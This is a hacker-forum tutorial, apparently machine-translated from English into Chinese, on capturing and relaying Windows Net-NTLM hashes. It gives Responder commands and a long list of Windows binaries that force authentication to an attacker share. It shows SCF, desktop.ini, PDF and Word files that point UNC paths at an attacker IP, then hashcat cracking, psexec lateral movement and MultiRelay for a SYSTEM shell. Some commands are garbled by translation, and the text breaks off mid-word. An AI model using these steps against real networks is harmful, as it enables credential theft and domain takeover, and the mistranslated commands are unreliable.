跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

内网渗透之NTLM中继劫持

精选回复

发布于

## 协议介绍

NTLM 是“NTLAN 管理器”的缩写。 NTLM 是Windows NT 早期版本的标准安全协议。 Windows 2000 支持NTLM 以保持向后兼容性。 NTLM是Windows 2000内置的三个基本安全协议之一。它也是一种为用户提供身份验证、完整性和机密性的网络协议。 NTLM 协议有三个版本:NTLM v1、NTLM v2 和NTLM Session v2。协议交互图如下:f2794e9ec63c498bb0b994bafd4189d8.png

## 认证流程

一般来说,NTLM是Challenge/Response形式的消息,主要包含三个步骤:

步骤1:客户端向服务器发送包含明文登录用户名的请求f9ec0906d434c9142a10d3ff29647867.png

步骤2:输入2消息(challenge): 服务器查询用户名是否存在。如果存在,则查询本地SAM 数据库并提取用户的哈希值。然后服务器生成一个16位随机数(即Challenge),使用用户的密码哈希值对Challenge进行加密,在本地存储一份副本,并将其命名为challenge1,然后将Challenge的明文发送回客户端。b62b3645ca69ead22b3e991b77273c25.png

步骤3:Type3消息(身份验证) : 客户端收到Challenge后,使用当前登录用户的密码哈希对Challenge进行加密并将其发送到服务器。然后服务器将Challenge与存储的加密内容challenge1进行比较。如果相同则验证成功b5826081f0c8c645e23174cdba0fd57d.png

## 继电器介绍

微软的NTLM SSP(NTLM Security Support Provider)提供了实现NTLM身份验证的基本功能。它是Windows SSPI(安全支持提供程序接口)的具体实现。 NTLM SSP仅实现NTLM身份验证,并没有指定使用什么协议进行传输。事实上,SMB、HTTP、LDAP、MSSQL等协议都可以携带三种类型的NTLM认证消息,这意味着我们可以通过这些协议进行攻击。不过需要注意的是,用户密码的哈希值称为LM哈希值或NT哈希值。哈希(LM 哈希在Windows Vista/Windowsserver 2008 之后已弃用),即所谓的NTLM 哈希。这种类型的Hash可以用于PTT攻击,但不能用于Relay Attack~

严格来说,中继攻击是用于网络认证的Net-NTLM Hash的中继。 Net-NTLM Hash 在NTLM 身份验证过程中使用客户端本地用户密码的哈希对服务器返回的质询进行加密,然后返回到服务器进行验证。因此,严格来说,它应该是一个Net-NTLM Hash Relay。

## 继电器原理

中继的基本流程如下图所示:ee87fe07a8f0a06ef3efda6c3a1e57b3.png

在上图中的客户端视角中,攻击者就是他想要访问的服务器。它正在与攻击者的主机进行NTLM身份验证,整个过程中只有攻击者的主机与其交互。从服务器的角度来看,攻击者就是客户端。攻击者正在向服务器证明他的身份。通过中间人攻击方式,攻击者可以冒充客户端。客户端完成认证。事实上,攻击者所做的就是Relay所有客户端请求到服务器和Relay所有服务器请求到客户端。从服务器的角度来看,只有攻击者一直在和他交互,所以它自然认为攻击者就是客户端。这样攻击者就达到了冒充真实客户端的目的。

## 中继步骤

NTLM中继攻击只需要两步:

- 获取受害者Net-NTLM 哈希值

- 使用Net-NTLM 哈希进行重放攻击

## 哈希获取

### 基本网络命令

整个流程大致如下:

- 用户发送了错误的SMB 共享地址,例如:\\Al1ex

- DNS 服务器响应\\Al1ex——NOT FOUND

- 客户端执行LLMNR/NBT-NS广播

- 攻击者告诉客户端它是Al1ex,并接受受害者发送的NTLM v2哈希值进行身份验证并将其保存在本地。

- 响应者将错误发送回客户端,如果用户不擅长的话,客户端通常不会发出警报。

具体实施步骤如下:

步骤1:在攻击者主机上使用responder(https://github.com/lgandx/Responder)并执行以下命令启用监控:

````

响应者-I eth0 -f

#参数说明:

-I 指定使用的网卡

-f 允许攻击者查看受害者的主机指纹

``113702348add250da48b18d31425f596.png

PS:“ON”表示开启业务数据包监控,“OFF”表示关闭业务数据包监控。

第二步:模拟用户错误输入无法解析的名称(Al1ex)e1d44d9c83a6951cb719bf9f68043aaa.png

之后在我们的攻击主机中就可以看到记录的Net-NTLM Hash值:787b7a64415144d1dd2cff6704848e13.png

我们还可以使用以下命令获取响应程序中的Net-NTLM 哈希值:

````

net.exe 使用\\hostshare

attrib.exe \\主机共享

bcdboot.exe \\主机共享

bdeunlock.exe \\主机共享

cacls.exe \\主机共享

certreq.exe \\hostshare #(嘈杂,弹出错误对话框)

certutil.exe \\主机共享

cipher.exe \\主机共享

ClipUp.exe -l \\主机共享

cmdl32.exe \\主机共享

cmstp.exe /s \\主机共享

colorcpl.exe \\hostshare #(嘈杂,弹出错误对话框)

comp.exe /N=0 \\主机共享\\主机共享

Compact.exe \\主机共享

control.exe \\主机共享

Convertvhd.exe -源\\hostshare -目标\\hostshare

Defrag.exe \\主机共享

diskperf.exe \\主机共享

dispdiag.exe -out \\主机共享

doskey.exe /MACROFILE=\\主机共享

esentutl.exe /k \\主机共享

Expand.exe \\主机共享

extrac32.exe \\主机共享

FileHistory.exe \\hostshare #(吵闹,弹出一个GUI)

findstr.exe * \\主机共享

fontview.exe \\hostshare #(嘈杂,弹出错误对话框)

fvenotify.exe \\hostshare #(嘈杂,弹出访问拒绝错误)

FXSCOVER.exe \\hostshare #(嘈杂,弹出GUI)

hwrcomp.exe -检查\\hostshare

hwrreg.exe \\主机共享

icacls.exe \\主机共享

Licensingdiag.exe -cab \\主机共享

lodctr.exe \\主机共享

lpksetup.exe /p \\主机共享/s

makecab.exe \\主机共享

msiexec.exe /update \\hostshare /quiet

msinfo32.exe \\hostshare #(嘈杂,弹出“无法打开”对话框)

mspaint.exe \\hostshare #(嘈杂,png路径无效错误)

msra.exe /openfile \\hostshare #(嘈杂,错误)

mstsc.exe \\hostshare #(嘈杂,错误)

netcfg.exe -l \\hostshare -c p -i foo

````

## 通过系统图标

每个文件夹下都有一个文件desktop.ini,用于指定文件夹图标等。默认情况下它是不可见的。您可以通过删除控制面板中的“隐藏受保护的操作系统文件”来查看它。3a223f62fb1d9ee567e5b9d2b7e84413.png

每个文件夹下都会有它。如果我们新建一个文件夹,如果没有看到desktop.ini,可以尝试更改图标,就会看到75815805e0c621778dd1b6cd35d0eb8a.png

然后将图标路径改为UNC路径,指向我们的服务器3d3823b07f14464fe21da41b8b568c20.png

当用户访问该文件夹时,他们将访问UNC路径,我们可以获取用户的net-ntlm哈希:cbf773e44c1cf04be8bc5eecbc0a1a34.png

## SCF 文件利用率

scf文件包含IconFile属性,因此Explore.exe会尝试获取该文件的图标,而IconFile支持UNC路径。以下是scf后缀的文件格式。

````

[外壳]

命令=2

IconFile=\192.168.188.129\\scf\\test.ico

[任务栏]

命令=切换桌面

````

新建一个test.scf,然后写入上面的内容放到一个文件夹下。当用户访问该文件夹时,我们会得到该用户的net-ntlm hash~8f3e9a2ba2c12b60050bfb373e847fdb.png

##用户头像利用率

此方法适用于Windows 10/2016/2019。更改账户图片时,使用普通用户的权限指定webadv地址的图片。如果普通用户通过了验证镜像,那么SYSTEM用户(域内的机器用户)也会访问192.168.188.129并带上凭据。我们可以获得机器用户的net-ntlm 哈希值。这也可用于升级权限8cef69372f96f021b89dd0be11d72f00.png

然后可以获得NTLM-Hash值:ca27a8772f5ab80d9bac1d1d79e8f04e.png

## 通过构造PDF得到

PDF 规范允许加载GoTobe 和GoToR 条目的远程内容。 PDF 文件可以添加从远程SMB 服务器请求文件的功能。我们直接使用三好生的脚本https://github.com/3gstudent/Worse-PDF 74e4020dbdf7d4995a849b3c27fe5b8f.png

当受害者使用PDF阅读器打开恶意PDF时,有效负载会成功执行并返回NTLM-Hash a5433d35bcd0c1beab56713a378fba43.png

PS:经过笔者测试,发现如果使用Chrome或者IE浏览器打开PDF文件,是不会被执行的~

##办公应用

首先新建一个单词,粘贴图片6e21fe7dc3bc3f2565aa7fef2f7cb334.png

然后用7zip打开(其他软件我没测试过,大家可以自己测试一下),然后输入word_rels,修改document.xml.rels d090613e606f6307d1213958dccef143.png

可以看到Target参数原来是本地路径6dbfaab530c53b3bc280bb29de05a9c9.png

更改为UNC 路径,然后添加TargetMode=\'External\' 767ef67dbf4b5459dcb1f1d26a00ecb1.png

打开word时,我们得到Net-NTLM Hash

## Net-NTLM 破解

我们可以使用hashcat来破解Net-NTLM哈希值,格式如下:

````

hashcat -m 5600 Net-NTLM-哈希密码文件位置

``19fa564f7bc6dabab386ccc26588ffd4.png

破解后结果:6a232a7ffc342d7a53ee4d8a108db370.png

通过破解的账号和密码,我们可以进行横向移动连接远程主机:

````

./psexec.py hacker/administrator:'admin'@192.168.188.3

``1376ae6d4affc31f94128dc70504b98f.png

## 网络NTLM 中继

### SMB 中继

#### 继电器原理

连接服务器时,客户端默认首先使用本地用户名和密码哈希尝试登录,因此可以模拟SMB服务器拦截其他PC的Net-NTLM Hash。用作中继的机器必须具有域管理员权限或本地管理员权限,并且被中继的机器必须关闭SMB签名认证,否则无法中继。

#### 使用条件

需要关闭目标SMB签名。 SMB连接中需要使用安全机制来保护服务器和客户端之间传输的数据的完整性。这种安全机制就是SMB签名和加密。如果关闭SMB签名,攻击者将能够拦截身份验证过程并获取哈希值在其他机器上重放,从而获得域管理权限。目前,SMB 通常用作SMB 文件共享和打印机。如果关闭签名,文件共享和打印机可能会被入侵。我们可以使用nmap来判断是否关闭:

````

nmap -n -p445 192.168.188.3 --script=smb-安全模式

``fb5c450a8577d2f3a0449411b6f236ba.png

####使用方法

**回复者**

第一步:进入/usr/share/responder目录,编辑Responder.conf文件,将smb和http设置为Off,攻击时直接利用hash攻击其他机器,无需爬取cf9c3e2edec1209e825982bf850a580b.png

步骤2:在kali(192.168.188.129)上使用Responder来启用监控(这里Responder的作用是捕获网络中所有LLMNR和NetBIOS请求,并在访问不存在的共享路径时进行响应,并减少名称解析为LLMNR/NBNS)

````

响应者-I eth0 -w -r -f

``91794bd960b2145253af49e7c8121a5d.png

步骤3:使用Responder的MultiRelay模块指向域中的普通主机

````

python MultiRelay.py -t 192.168.188.3 -u ALL

``c7fc1981044ed32398332fc58308bbbf.png

第五步:在域控服务器2012上创建文件共享请求,kali可以收到192.168.188.3的系统she

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。